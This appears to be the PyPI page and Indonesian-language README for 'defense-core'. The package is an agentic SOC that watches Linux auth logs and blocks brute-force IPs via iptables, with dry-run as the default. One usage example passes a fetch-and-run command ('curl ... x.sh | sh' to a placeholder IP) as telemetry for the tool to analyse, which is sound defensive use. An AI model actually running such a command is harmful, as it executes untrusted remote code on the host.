Skip to main content

🛡️ Defense Core: Autonomous Agentic SOC v1.8.4

100 tier agentik SOC berbasis arsitektur BlueSTAR.

Instalasi

Syarat: Python 3.10 atau lebih baru, Linux (Debian/Ubuntu dan turunannya). Mode --enforce butuh akses root karena menjalankan iptables/nft. Mode --dry-run dan run-soc bisa jalan sebagai user biasa.

Cara 1 — dari PyPI (paling mudah):

pip install defense-core
# atau, supaya tidak bentrok dengan paket Python lain:
pipx install defense-core

Cara 2 — dari source:

git clone https://github.com/pmuhammadagus-byte/defense-core.git
cd defense-core
pip install -e .

Cara 3 — untuk pengembangan (menjalankan tes):

git clone https://github.com/pmuhammadagus-byte/defense-core.git
cd defense-core
pip install -e ".[dev]"
python -m pytest tests/ -q

Cek instalasi:

run-soc --help
run-live --help

Pemakaian

Ada dua cara memakai Defense Core: mode live (dianjurkan, Tier 0–50 nyata) dan analisis sekali jalan (run-soc).

Mode live — memantau server terus-menerus (Tier 0–50 nyata)

run-live membaca log auth Linux secara incremental, menjalankan semua tier, lalu memblokir IP penyerang bila ambang terlampaui.

# Latihan dulu, AMAN: hanya mencatat apa yang AKAN diblokir, tanpa
# menjalankan perintah firewall apa pun.
run-live --dry-run --once

# Pantau terus-menerus (cek log tiap 5 detik, default dari config.yaml).
run-live --dry-run

# Batasi jumlah siklus, misalnya 10 siklus lalu berhenti.
run-live --dry-run --cycles 10

# Pakai file log lain (misalnya log contoh) dan config lain.
run-live --dry-run --once \
    --log-file /var/log/auth.log \
    --config config.yaml \
    --state-dir evidence

# BLOKIR SUNGGUHAN: hanya di server sendiri dan sebagai root.
sudo run-live --enforce

Alurnya: core/live_sensor.py membaca log auth -> run_cycle semua tier -> agents/triage.py menentukan severity -> agents/response.py memanggil Enforcer (core/enforcement.py, dry-run default) -> agents/evidence.py menulis ledger JSONL ke evidence/ledger.jsonl.

Yang terjadi saat serangan terdeteksi (contoh brute-force SSH):

[live] defense-core live mode | dry_run=True | tiers terdaftar: 100
[Tier 1] Final Decision: {'action': 'INSTANT_BLOCK', ...}
[Tier 34] Result: {'action': 'BLOCK_IP', 'reason': 'Brute force attack detected: 6 failed login attempts (limit: 5)'}

Dalam mode --dry-run, ledger mencatat WOULD_BLOCK dan executed: false. Dalam mode --enforce, IP benar-benar diblokir lewat iptables (fallback nft) dan ledger mencatat executed: true.

Membaca bukti (ledger):

# Lihat semua aksi penegakan yang tercatat.
cat evidence/ledger.jsonl

# Lihat IP yang sedang diblokir dan kapan kedaluwarsanya.
cat evidence/blocks.json

Contoh satu baris ledger:

{"ts": "2026-11-24T12:26:26+00:00", "event": "enforce", "ip": "203.0.113.7", "action": "WOULD_BLOCK", "trigger_action": "INSTANT_BLOCK", "severity": "CRITICAL", "executed": false, "dry_run": true, "score": 100}

Blokir kedaluwarsa otomatis setelah 1 jam (block_ttl_seconds: 3600 di config.yaml). IP loopback, IP privat, dan IP server sendiri tidak pernah diblokir, mode apa pun.

Analisis sekali jalan — run-soc

Untuk menguji satu telemetri secara manual tanpa membaca log:

# Contoh: IP mencurigakan dengan skor 100 dan 6x gagal login.
run-soc --src 203.0.113.7 --score 100 --failed-logins 6

# Contoh lain: analisis domain, perintah, atau file.
run-soc --src 192.168.1.50 --score 95 --category identity --user admin_agus
run-soc --domain evil.example.com --score 80
run-soc --command "curl http://192.0.2.1/x.sh | sh" --score 90

Secara default run-soc berjalan dalam mode dry-run. Jangan pakai --no-dry-run kecuali kamu paham risikonya: flag itu menjalankan aksi nyata (blokir, kill proses) di mesin tempat perintah dijalankan.

Mengatur threshold — config.yaml

Semua ambang bisa diubah tanpa menyentuh kode tier:

thresholds:
  brute_force:
    max_failed_logins: 5   # Tier 34: blokir bila gagal login >= 5 ...
    window_minutes: 5      # ... dalam 5 menit
  ddos:
    max_requests_per_minute: 1000   # Tier 29: rate-limit bila > 1000 req/menit

enforcement:
  dry_run: true            # true = aman (default), false = butuh --enforce + root
  backend: auto            # auto | iptables | nft
  block_ttl_seconds: 3600  # blokir kedaluwarsa setelah 1 jam
  min_severity_to_block: HIGH   # CRITICAL | HIGH | MEDIUM | LOW

allowlist:                 # IP/CIDR yang TIDAK PERNAH diblokir
  - 127.0.0.1
  - ::1
  - 10.0.0.0/8
  - 172.16.0.0/12
  - 192.168.0.0/16

Sensor membaca log auth dari /var/log/auth.log, /var/log/secure, /var/log/syslog (yang ada duluan menang). Untuk mengaktifkan deteksi DDoS Tier 29, isi sensor.access_log_paths dengan access log web server (misalnya /var/log/nginx/access.log); kalau kosong, Tier 29 akan melewati pemeriksaan (SKIP_DDOS_CHECK).

Tiers (100 total)

  • 0-70: Fondasi, Endpoint, Cloud, Network DPI, IoT/OT, AI Hunting
  • 71-80: Global/Strategic (Satellite, Quantum, Supply Chain, BGP, Geopolitical)
  • 81-90: Self-Evolving (Meta-Learning, RL, Drift, Playbook, Coordinator)
  • 91-100: Ultimate (Grid, Autonomy, Zero-Trust, Cyber-Physical, National)

Status kejujuran

  • Rilis 1.8.4 — README diperluas (instalasi + pemakaian lengkap). Rilis 1.8.3 menggabungkan sensor/action-executor dari 1.8.2 (PyPI) dengan mode live Tier 0-50 (sensor log live, enforcement iptables dry-run default, agen triage/response/evidence).
  • Tier 0-50: NYATA dalam mode live — sensor membaca log auth asli, Tier 1/29/34 mengembalikan aksi blokir dari data nyata, dan Enforcer benar-benar memblokir IP (mode --enforce) dengan allowlist loopback/ privat/IP server sendiri + kedaluwarsa otomatis 1 jam. Default tetap --dry-run: tidak ada perintah firewall yang dijalankan.
  • Tier 51-100: tetap simulasi/roadmap — logika rule-based atas telemetri yang dimasukkan manual; belum ada sumber data nyata (DPI, IoT/OT, satelit, kuantum, dsb.). Lihat docs/AUDIT_TIER_0_50.md.
  • Windows support: belum
  • Stateless antar-restart (kecuali offset sensor & blokir aktif di evidence/): feedback via flags, bukan persistent learning

Troubleshooting

  • Permission denied saat --enforce: jalankan dengan sudo, karena iptables/nft butuh root. Mode --dry-run tidak butuh root.
  • Log sistem tidak ditemukan: sensor tidak menemukan file log auth di lokasi default; isi --log-file dengan path log yang benar.
  • Tier 29 selalu SKIP_DDOS_CHECK: sensor.access_log_paths di config.yaml masih kosong; isi dengan access log nginx/apache.
  • run-live: command not found setelah pip install: pastikan folder ~/.local/bin ada di PATH, atau pakai python -m run_live dari folder repo.

📄 License

MIT. Maintained by @pmuhammadagus-byte

Metadata

Release files for defense-core 1.8.4

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for defense-core 1.8.4
File Size Uploaded Provenance Actions
defense_core-1.8.4.tar.gz 121.5 kB Without provenance Details for defense_core-1.8.4.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for defense-core 1.8.4
File Interpreter ABI Platform Actions
defense_core-1.8.4-py3-none-any.whl Python 3 none any Details for defense_core-1.8.4-py3-none-any.whl

Total release size: 288.7 kB

Release files / defense_core-1.8.4.tar.gz

Download URL defense_core-1.8.4.tar.gz
Size 121.5 kB
Tags Source
SHA-256 checksum
How to use checksums
5030d615774a7d6382d2d68e80de57a3d4cead03035a93967203409524bb439c
BLAKE2b-256 checksum
How to use checksums
d562e3d02268a9f4a09e43a12eaa45390073a8513f57b6f3c8d88921520ecb69
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.5

Release files / defense_core-1.8.4-py3-none-any.whl

Download URL defense_core-1.8.4-py3-none-any.whl
Size 167.2 kB
Tags Python 3
SHA-256 checksum
How to use checksums
b6db2413af5ee1a8d7e2405a5f5b28bde53eb4ab9992c16a93ce0b9f9f341349
BLAKE2b-256 checksum
How to use checksums
30c4bb50d7bfba3a45c3e5517843b35c0f866dac6a2ef526346f9a75e230808a
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.5

Security for defense-core 1.8.4

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Release history Release notifications | RSS feed

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page